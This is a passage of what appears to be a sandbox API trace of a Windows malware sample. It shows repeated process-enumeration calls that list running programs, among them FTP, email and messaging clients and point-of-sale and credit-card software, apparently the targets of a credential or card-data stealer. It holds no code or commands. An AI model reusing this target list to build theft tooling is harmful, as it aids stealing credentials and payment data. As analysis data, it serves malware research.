th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.758] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.759] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.761] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.762] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0260.763] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0260.765] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.766] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.767] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0260.771] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0260.772] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0260.774] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0260.775] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0260.777] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0260.778] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0260.779] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0260.781] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0260.782] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0260.783] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0260.785] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0260.786] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0260.788] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0260.789] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0260.791] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0260.792] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0260.793] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0260.795] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0260.796] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0260.798] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0260.799] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0260.896] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0260.898] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0260.899] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0260.900] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0260.902] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0260.904] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0260.905] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0260.907] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0260.909] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0260.910] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0260.912] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0260.914] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0260.915] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0260.917] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0260.919] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0260.920] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0260.922] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0260.924] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0260.926] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0260.927] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0260.929] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0260.930] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0260.932] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0260.933] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0260.935] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0260.937] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0260.938] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0260.940] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0260.992] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0260.994] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0260.996] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0260.997] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0260.999] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0261.001] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0261.003] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0261.005] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0261.007] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0261.009] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0261.010] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0261.012] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0261.014] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0261.015] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0261.017] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0261.019] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0261.021] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0261.022] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.024] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.026] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.028] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0261.029] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0261.031] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.033] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0261.084] CloseHandle (hObject=0x1024) returned 1 [0261.084] Sleep (dwMilliseconds=0x64) [0261.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0261.140] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.142] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.143] Process32Next (in: 